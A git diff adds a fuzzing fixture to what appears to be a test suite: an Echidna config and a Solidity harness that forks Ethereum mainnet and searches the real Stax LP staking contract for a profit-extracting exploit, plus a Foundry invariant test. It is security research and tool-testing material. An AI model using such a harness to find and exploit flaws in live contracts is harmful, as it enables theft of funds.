diff --git a/.gitmodules b/.gitmodules index 519c04ef2..d96a7e90d 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,6 @@ [submodule "tests/evm_manual/foundry1/lib/forge-std"] path = tests/evm_manual/foundry1/lib/forge-std url = https://github.com/foundry-rs/forge-std +[submodule "tests/evm_manual/foundry1/lib/chimera"] + path = tests/evm_manual/foundry1/lib/chimera + url = https://github.com/Recon-Fuzz/chimera diff --git a/tests/evm_manual/foundry1/.gitignore b/tests/evm_manual/foundry1/.gitignore index ae63a160a..e911dcf17 100644 --- a/tests/evm_manual/foundry1/.gitignore +++ b/tests/evm_manual/foundry1/.gitignore @@ -15,4 +15,10 @@ docs/ .tmp/ build-info/ -results.json \ No newline at end of file +results.json + +# Crytic +crytic-compile/ +crytic-export/ +echidna/ +medusa/ diff --git a/tests/evm_manual/foundry1/echidna.yaml b/tests/evm_manual/foundry1/echidna.yaml new file mode 100644 index 000000000..89373a428 --- /dev/null +++ b/tests/evm_manual/foundry1/echidna.yaml @@ -0,0 +1,5 @@ +testMode: optimization +testLimit: 1000000 +corpusDir: echidna +rpcUrl: https://rpc.ankr.com/eth +rpcBlock: 15725066 \ No newline at end of file diff --git a/tests/evm_manual/foundry1/foundry.toml b/tests/evm_manual/foundry1/foundry.toml index 25b918f9c..bf230a5de 100644 --- a/tests/evm_manual/foundry1/foundry.toml +++ b/tests/evm_manual/foundry1/foundry.toml @@ -3,4 +3,7 @@ src = "src" out = "out" libs = ["lib"] +[rpc_endpoints] +mainnet = "${MAINNET_RPC_URL}" + # See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options diff --git a/tests/evm_manual/foundry1/lib/chimera b/tests/evm_manual/foundry1/lib/chimera new file mode 160000 index 000000000..1526cb254 --- /dev/null +++ b/tests/evm_manual/foundry1/lib/chimera @@ -0,0 +1 @@ +Subproject commit 1526cb2548e100429071aaa0a81243b1122c5551 diff --git a/tests/evm_manual/foundry1/src/StaxExploit.sol b/tests/evm_manual/foundry1/src/StaxExploit.sol new file mode 100644 index 000000000..2cfd580d7 --- /dev/null +++ b/tests/evm_manual/foundry1/src/StaxExploit.sol @@ -0,0 +1,100 @@ +// SPDX-License-Identifier: AGPLv3 +// References: https://blog.trailofbits.com/2023/07/21/fuzzing-on-chain-contracts-with-echidna/ +// References: https://gist.github.com/tuturu-tech/efbba5a57465c9e75f0ed0050bbc49ed + +pragma solidity ^0.8.0; + +import {vm} from "@chimera/src/Hevm.sol"; + +interface IStaxLP { + function balanceOf(address) external returns (uint256); + function transfer(address, uint256) external returns (bool); + function approve(address, uint256) external returns (bool); +} + +interface IStaxLPStaking { + function stake(uint256) external; + function stakeAll() external; + function stakeFor(address, uint256) external; + function withdraw(uint256, bool) external; + function withdrawAll(bool) external; + function getRewards(address) external; + function getReward(address, address) external; + function notifyRewardAmount(address, uint256) external; + function migrateStake(address, uint256) external; + function migrateWithdraw(address, uint256) external; +} + +struct Reward { + uint40 periodFinish; + uint216 rewardRate; + uint40 lastUpdateTime; + uint216 rewardPerTokenStored; +} + +contract StaxExploit { + IStaxLP StaxLP = IStaxLP(0xBcB8b7FC9197fEDa75C101fA69d3211b5a30dCD9); + IStaxLPStaking StaxLPStaking = IStaxLPStaking(0xd2869042E12a3506100af1D192b5b04D65137941); + + uint256 initialAmount; + address tokenHolder; + + constructor() { + vm.warp(1665493703); + vm.roll(15725066); + + tokenHolder = address(0xeCb456EA5365865EbAb8a2661B0c503410e9B347); + initialAmount = StaxLP.balanceOf(tokenHolder); + vm.prank(tokenHolder); + StaxLP.transfer(address(this), initialAmount); + + require(StaxLP.balanceOf(address(this)) > 0, "Zero balance in the contract, perhaps transfer failed?"); + + initialAmount = StaxLP.balanceOf(address(this)); + StaxLP.approve(address(StaxLPStaking), type(uint256).max); + } + + function stake(uint256 _amount) public { + StaxLPStaking.stake(_amount); + } + + function stakeAll() public { + StaxLPStaking.stakeAll(); + } + + function stakeFor(address _for, uint256 _amount) public { + StaxLPStaking.stakeFor(_for, _amount); + } + + function withdraw(uint256 amount, bool claim) public { + StaxLPStaking.withdraw(amount, claim); + } + + function withdrawAll(bool claim) public { + StaxLPStaking.withdrawAll(claim); + } + + function getRewards(address staker) public { + StaxLPStaking.getRewards(staker); + } + + function getReward(address staker, address rewardToken) public { + StaxLPStaking.getReward(staker, rewardToken); + } + + function notifyRewardAmount(address _rewardsToken, uint256 _amount) public { + StaxLPStaking.notifyRewardAmount(_rewardsToken, _amount); + } + + function migrateStake(address oldStaking, uint256 amount) public { + StaxLPStaking.migrateStake(oldStaking, amount); + } + + function migrateWithdraw(address staker, uint256 amount) public { + StaxLPStaking.migrateWithdraw(staker, amount); + } + + function echidna_optimize_extracted_profit() public returns (int256) { + return (int256(StaxLP.balanceOf(address(this))) - int256(initialAmount)); + } +} diff --git a/tests/evm_manual/foundry1/test/StaxExploit.t.sol b/tests/evm_manual/foundry1/test/StaxExploit.t.sol new file mode 100644 index 000000000..3bf267e00 --- /dev/null +++ b/tests/evm_manual/foundry1/test/StaxExploit.t.sol @@ -0,0 +1,33 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Test} from "forge-std/Test.sol"; + +interface IStaxLP { + function balanceOf(address) external returns (uint256); + function transfer(address, uint256) external returns (bool); + function approve(address, uint256) external returns (bool); +} + +contract StaxExploitTest is Test { + uint256 private initialAmount; + IStaxLP private StaxLP = IStaxLP(0xBcB8b7FC9197fEDa75C101fA69d3211b5a30dCD9); + address private StaxLPStaking = 0xd2869042E12a3506100af1D192b5b04D65137941; + address private tokenHolder = address(0xeCb456EA5365865EbAb8a2661B0c503410e9B347); + + function setUp() public { + vm.createSelectFork("mainnet", 15725066); + + targetContract(address(StaxLP)); + targetContract(address(StaxLPStaking)); + + initialAmount = StaxLP.balanceOf(tokenHolder); + vm.prank(tokenHolder); + StaxLP.transfer(address(this), initialAmount); + StaxLP.approve(address(StaxLPStaking), type(uint256).max); + } + + function invariant_1() public { + assertEq(StaxLP.balanceOf(address(this)), initialAmount); + } +} \ No newline at end of file